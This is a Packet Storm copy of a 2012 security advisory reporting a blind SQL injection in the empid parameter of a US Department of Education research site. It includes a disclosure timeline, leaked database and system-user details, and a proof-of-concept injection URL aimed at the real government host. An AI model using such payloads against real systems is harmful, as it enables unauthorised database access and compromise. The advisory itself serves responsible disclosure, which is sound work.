National Center EDU Research SQL Injection

2012-04-11T00:00:00
ID PACKETSTORM:111747
Type packetstorm
Reporter Alexander Fuchs
Modified 2012-04-11T00:00:00

Description

                                        
                                            `Title:  
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National Center EDU Research - SQL Injection Vulnerability  
  
  
Date:  
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2012-04-09  
  
  
References:  
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http://www.vulnerability-lab.com/get_content.php?id=415  
  
  
VL-ID:  
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415  
  
  
Introduction:  
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The United States Department of Education, also referred to as ED or the ED for (the) Education   
Department, is a Cabinet-level department of the United States government. Recreated by the   
Department of Education Organization Act (Public Law 96-88) and signed into law by President Jimmy   
Carter on October 17, 1979, it began operating on May 16, 1980. The Department of Education   
Organization Act divided the Department of Health, Education, and Welfare into the Department of   
Education and the Department of Health and Human Services. The Department of Education is administered   
by the United States Secretary of Education. It is by far the smallest Cabinet-level department, with   
about 5,000 employees. The agency s official acronym is ED (and not DOE, which refers to the United   
States Department of Energy). It is also often abbreviated informally as DoED.  
  
(Copy of the Vendor Homepage: http://en.wikipedia.org/wiki/United_States_Department_of_Education)  
  
  
Abstract:  
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A Vulnerability Lab Researcher discovered a blind sql injection on the National Center of Education Research.  
  
  
Report-Timeline:  
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2012-02-07: Vendor Notification 1  
2012-03-09: Vendor Notification 2  
2012-04-01: Vendor Notification 3  
2012-**-**: Vendor Response/Feedback  
2012-04-08: Vendor Fix/Patch by Check  
2012-04-09: Public or Non-Public Disclosure  
  
  
Status:  
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Published  
  
  
Exploitation-Technique:  
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Remote  
  
  
Severity:  
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High  
  
  
Details:  
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A Blind SQL Injection vulnerability is detected on the National Center of Education Research(US).   
The bug is located on the empid= parameter. Remote attacker can execute own sql commands on the affected application dbms.  
Successful exploitation can result in dbms, web server system and web application compromise.  
  
Vulnerable Module(s):  
[+] StaffDetl.asp  
  
  
--- SQL Logs ---  
Version Microsoft SQL Server 2005 - 9.00.5057.00 (X64)   
Mar 25 2011 13:33:31   
Copyright (c) 1988-2005 Microsoft Corporation  
Standard Edition (64-bit) on Windows NT 5.2 (Build 3790: Service Pack 2)  
System User: NCESVPN/IUSR_PROD_DISS  
  
  
Proof of Concept:  
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The sql injection vulnerability can be exploited by remote attackers. For demonstration or reproduce ...  
  
PoC:  
http://ies.ed.gov/ncer/staff/StaffDetl.asp?empid=536%20and%201=1[SQL-INJECTION!]  
  
  
Risk:  
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The security risk of the blind sql injection is estimated as high(+).  
  
  
Credits:  
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Vulnerability Research Laboratory - Alexander Fuchs (f0x23)  
  
  
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